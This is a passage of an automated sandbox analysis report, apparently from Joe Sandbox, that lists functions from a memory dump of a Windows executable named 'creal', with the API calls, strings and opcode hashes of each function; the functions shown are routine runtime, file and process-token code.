Function 00007FF67A61C11C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61C549

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 700fa2322a5b373321a2e7ed848750029968f91a5ee85a64e34c26a04be16f04
Instruction ID: 3086ae04c5aff46703f530c0fd50c6ff3a33642889c243c7ff4b621d7a5fb9eb
Opcode Fuzzy Hash: 700fa2322a5b373321a2e7ed848750029968f91a5ee85a64e34c26a04be16f04
Instruction Fuzzy Hash: 2DC1EE23A2CB8282EB609B55D0002BF7FA5EB80F80F5541B1DA4E873F1CE7DE855A700

Function 00007FF67A608660 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF67A608680
OpenProcessToken.ADVAPI32 ref: 00007FF67A608691
GetTokenInformation.KERNELBASE ref: 00007FF67A6086B6
GetLastError.KERNEL32 ref: 00007FF67A6086C0
GetTokenInformation.KERNELBASE ref: 00007FF67A608700
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF67A60871C
CloseHandle.KERNEL32 ref: 00007FF67A608734

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 3b4ff29bc97920ba2271d4a1c1e57abe4a5e4b0a83d431c25c67b1407b0ddbe5
Instruction ID: b8669f22e29bf6714b52fb5dd439fb9b17c0f6179c2f27b16440eabadf9f1cab
Opcode Fuzzy Hash: 3b4ff29bc97920ba2271d4a1c1e57abe4a5e4b0a83d431c25c67b1407b0ddbe5
Instruction Fuzzy Hash: BE21413262864282EA11DF55E44457FB7A0FF85FA1F504675DAAC83AF8DF6CE8849700

Function 00007FF67A608980 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67A608660: GetCurrentProcess.KERNEL32 ref: 00007FF67A608680
Part of subcall function 00007FF67A608660: OpenProcessToken.ADVAPI32 ref: 00007FF67A608691
Part of subcall function 00007FF67A608660: GetTokenInformation.KERNELBASE ref: 00007FF67A6086B6
Part of subcall function 00007FF67A608660: GetLastError.KERNEL32 ref: 00007FF67A6086C0
Part of subcall function 00007FF67A608660: GetTokenInformation.KERNELBASE ref: 00007FF67A608700
Part of subcall function 00007FF67A608660: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF67A60871C
Part of subcall function 00007FF67A608660: CloseHandle.KERNEL32 ref: 00007FF67A608734

LocalFree.KERNEL32(00000000,00007FF67A603B6E), ref: 00007FF67A608A0C
LocalFree.KERNEL32 ref: 00007FF67A608A15

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF67A6089E2
S-1-3-4, xrefs: 00007FF67A6089C1
Security descriptor string length exceeds PATH_MAX!, xrefs: 00007FF67A608A23
D:(A;;FA;;;%s), xrefs: 00007FF67A6089F7

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
API String ID: 6828938-1817031585
Opcode ID: 205b7d1dfb2922ffea14e43b9fff2feb2a6941106c301a2985194d40b60a609a
Instruction ID: b3e804e56951190f6e941bab6c353bbadc56a032df9f0962ccebf29ec7e2cbe4
Opcode Fuzzy Hash: 205b7d1dfb2922ffea14e43b9fff2feb2a6941106c301a2985194d40b60a609a
Instruction Fuzzy Hash: AE215E23A38A4681F610EB20E445AEB7351EF58F81F4401B1EA4DC76F6DE3CE5859240

Function 00007FF67A61D620 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF67A61D60B), ref: 00007FF67A61D73C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF67A61D60B), ref: 00007FF67A61D7C7

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fbcfe551b9719c6229bed95fc105e51a183c6d2ac5964edc4a317e2464c7d24a
Instruction ID: dc49f166e2840bb7911414a8c6c41195ede8625b88d960494866aeeda93c7796
Opcode Fuzzy Hash: fbcfe551b9719c6229bed95fc105e51a183c6d2ac5964edc4a317e2464c7d24a
Instruction Fuzzy Hash: 2891BE63E29A52D5F7619F65D4402BE2FA0EB44F88F1441B9DF0E96AA5DE3CE481E300

Function 00007FF67A61FDEC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF67A61FEDC
_get_daylight.LIBCMT ref: 00007FF67A61FEED
_get_daylight.LIBCMT ref: 00007FF67A61FEFE
_isindst.LIBCMT ref: 00007FF67A61FFC9

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: e30f49420ffe1712ec5869c52a61b1ecc0c505d60627fe33813fae1700624dd7
Instruction ID: 12bb18dd9536e7a3443c472f342c4abcdbba80539f183eaea4a318b95cee5972
Opcode Fuzzy Hash: e30f49420ffe1712ec5869c52a61b1ecc0c505d60627fe33813fae1700624dd7
Instruction Fuzzy Hash: BD510673F242128AFB24DF64D9556BE2BA1BB01B68F500176DE1E92AF5DF3CA402D740

Function 00007FF67A615954 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF67A615987
GetFileInformationByHandle.KERNELBASE ref: 00007FF67A6159E9
GetLastError.KERNEL32 ref: 00007FF67A615A7A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF67A61588C), ref: 00007FF67A615AC6

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 8b92353bfe11502a71d0b1a2b896feb12fc002a0d7da91d128652a49e7fc4eaa
Instruction ID: 88d30327ac23481e91fb7118ab09bc565a214bad3ef63315a3172e26771d18c9
Opcode Fuzzy Hash: 8b92353bfe11502a71d0b1a2b896feb12fc002a0d7da91d128652a49e7fc4eaa
Instruction Fuzzy Hash: 73516D23A286418AFB10DFB9D4903BE7BA1EB48F58F148575DE0D8B6A9DF38D4819740

Function 00007FF67A60C17C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF67A60C18B

Part of subcall function 00007FF67A60C34C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF67A60C36E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF67A60C1A0
__scrt_release_startup_lock.LIBCMT ref: 00007FF67A60C20E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF67A60C261

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 3d27f789a7b910ea95b37f95ae633beb093259f17e851dcbb1d336e671b45e8f
Instruction ID: 9e83745d914635d74254628e4ac6ed2389ee012e41c0af235abfdbd67401aa3b
Opcode Fuzzy Hash: 3d27f789a7b910ea95b37f95ae633beb093259f17e851dcbb1d336e671b45e8f
Instruction Fuzzy Hash: 0F317923E3D50345FB24ABA4D462BBB2391AF55F44F4440B5E90ECB6F7DE2CB884A201

Function 00007FF67A615800 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61582D
CreateFileW.KERNELBASE ref: 00007FF67A61586C
CloseHandle.KERNEL32 ref: 00007FF67A6158A1

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: d82536c74c1c179bb7e2097ade32aabeafd499f25a183bbc1212597eee9ee92e
Instruction ID: 2546e234afc32847a224dbc0cddcf36c00e2fdfe58f4e1a014cb358e996514d6
Opcode Fuzzy Hash: d82536c74c1c179bb7e2097ade32aabeafd499f25a183bbc1212597eee9ee92e
Instruction Fuzzy Hash: 4F41A223D2879283E750DF24D5103BAA760FF94B64F109375E69C83AE9DF6CA5E09700

Function 00007FF67A61A0C0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF67A61A0BC), ref: 00007FF67A61A0D1
TerminateProcess.KERNEL32(?,?,?,00007FF67A61A0BC), ref: 00007FF67A61A0DC
ExitProcess.KERNEL32 ref: 00007FF67A61A0EB

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bc294a5152b5297a0dc7ed9991a70bb9c76c91c314002c4bf8d40204f2aa0a87
Instruction ID: f4d0ecae8e2833b7597498a32db96f9e48e3709fd28e1830550e153f34900f5a
Opcode Fuzzy Hash: bc294a5152b5297a0dc7ed9991a70bb9c76c91c314002c4bf8d40204f2aa0a87
Instruction Fuzzy Hash: FBD09E12B3870646EA146F719C5907A16159F6CF05F1454BCDC5B963F3CD3DE84D6340

Function 00007FF67A608B80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 00007FF67A608BC0

Part of subcall function 00007FF67A602C50: MessageBoxW.USER32 ref: 00007FF67A602D25

Strings

Security descriptor is not initialized!, xrefs: 00007FF67A608B90

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CreateDirectoryMessage
String ID: Security descriptor is not initialized!
API String ID: 73271072-986317556
Opcode ID: 7287a5cc856ae2fa57a4db52e4db86861a7dba6e4ea9bf89139b42fa57f5051f
Instruction ID: 1e8f126f48bde024234eefc6660c8faf4af9086f51ae0b5854ed1577d1d6cdc8
Opcode Fuzzy Hash: 7287a5cc856ae2fa57a4db52e4db86861a7dba6e4ea9bf89139b42fa57f5051f
Instruction Fuzzy Hash: C9E092B3A2870686EA109F24E80466B3290FB55F54F8013B4E69CC73F4EF3CD1499B00

Function 00007FF67A61037C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6103C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6104B7

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2f7bb398de8c4fd3266a2cb5114fed605c2779b223882c17691b198031e80610
Instruction ID: 621039c55449b54790eadd2641da3eda647dfea8263062395bd9ee206e136a3d
Opcode Fuzzy Hash: 2f7bb398de8c4fd3266a2cb5114fed605c2779b223882c17691b198031e80610
Instruction Fuzzy Hash: F2510763B2925286EF24AE36D50067B6A91BF44FA8F254774DE6CC77E5CF3CE440A600

Function 00007FF67A61C7F4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF67A61C98D), ref: 00007FF67A61C840
GetLastError.KERNEL32(?,?,?,?,?,00007FF67A61C98D), ref: 00007FF67A61C84A

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 1615d75b8a55ba2077c919f2c6a9a881aeaa4cd5e18bf0385e0e14deb18ebfea
Instruction ID: 753a7ae042d90ebf08809dc2abf1dd7481ce9c89b5ffedc138ac4b39b8d3576a
Opcode Fuzzy Hash: 1615d75b8a55ba2077c919f2c6a9a881aeaa4cd5e18bf0385e0e14deb18ebfea
Instruction Fuzzy Hash: C111EF22A28A8181EB908B25E44407EAB61EB44FF4F540371EE7D877E9CF3CD0409740

Function 00007FF67A615AFC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67A615A11), ref: 00007FF67A615B2F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67A615A11), ref: 00007FF67A615B45

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: bb6c187991dbf4b757a25256d017e3a2e1c80456cbfa3cced84e316cd19fd1ad
Instruction ID: 9d184ce73b0270fcb6d397e317a5ea98e93c0887d619402f80f6d74b9d08128f
Opcode Fuzzy Hash: bb6c187991dbf4b757a25256d017e3a2e1c80456cbfa3cced84e316cd19fd1ad
Instruction Fuzzy Hash: D211517362C64281EB548B15E45117FF7A0EB84B71F501275E69EC59F8EF2CD054EB10

Function 00007FF67A6181BC Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67A618039), ref: 00007FF67A6181DF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67A618039), ref: 00007FF67A6181F5

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: dfa1188102ceb568b3fc50e3ccebbeec8210bce0ede501d744e2ebb6e9f34169
Instruction ID: 6544e0e6b7c644437fb578755a882529f875c13fc970405cd990774ffef72a15
Opcode Fuzzy Hash: dfa1188102ceb568b3fc50e3ccebbeec8210bce0ede501d744e2ebb6e9f34169
Instruction Fuzzy Hash: 68017C2352C652C2E7509F14E40127BB7A0FB85FA2F600275EAAD859E8DF3CD450EB00

Function 00007FF67A61B00C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B022
GetLastError.KERNEL32(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B02C

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: fe06ab376566ea2509a2ed287c19ad9540726c08df5295ae3f1b105c90e4bdc3
Instruction ID: 3ecb0ead6d2df735ca5381dfdc0ea46408671b8baef2151728c32fdbe52b3dec
Opcode Fuzzy Hash: fe06ab376566ea2509a2ed287c19ad9540726c08df5295ae3f1b105c90e4bdc3
Instruction Fuzzy Hash: C7E08C52F2820282FF19ABB6D84507719919F98F02F4084B4C92DC72B6EE3CA8856650

Function 00007FF67A6187A8 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF67A6187AC
GetLastError.KERNEL32 ref: 00007FF67A6187B6

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 153cc6b43260fbfbcd420d4a5d82083cc83b9861f71afd7df965705e15552d8c
Instruction ID: b4c9641be177cb763c105fc56b6b2059757f0e7631bd29470974fc083671cfc7
Opcode Fuzzy Hash: 153cc6b43260fbfbcd420d4a5d82083cc83b9861f71afd7df965705e15552d8c
Instruction Fuzzy Hash: F6D01212F3D60381E6557B769C4507F15D06F58F36F5006B0C52DC21F1DF3CA0452512

Function 00007FF67A617F24 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF67A617F28
GetLastError.KERNEL32 ref: 00007FF67A617F32

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 0f0cb225ea42310d2ea23db7727506bfdece2bdd50c9c3900213f62443c0a817
Instruction ID: cd0f81349368b3b3138e8f94d42aaf1e59dba12c3568d0d9ef8da0c6a86b27af
Opcode Fuzzy Hash: 0f0cb225ea42310d2ea23db7727506bfdece2bdd50c9c3900213f62443c0a817
Instruction Fuzzy Hash: 53D01212F3D60386E6546B75AC8507B15905F48F34F5006F0C12EC01F0DE2CB4853D51

Function 00007FF67A61B21C Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

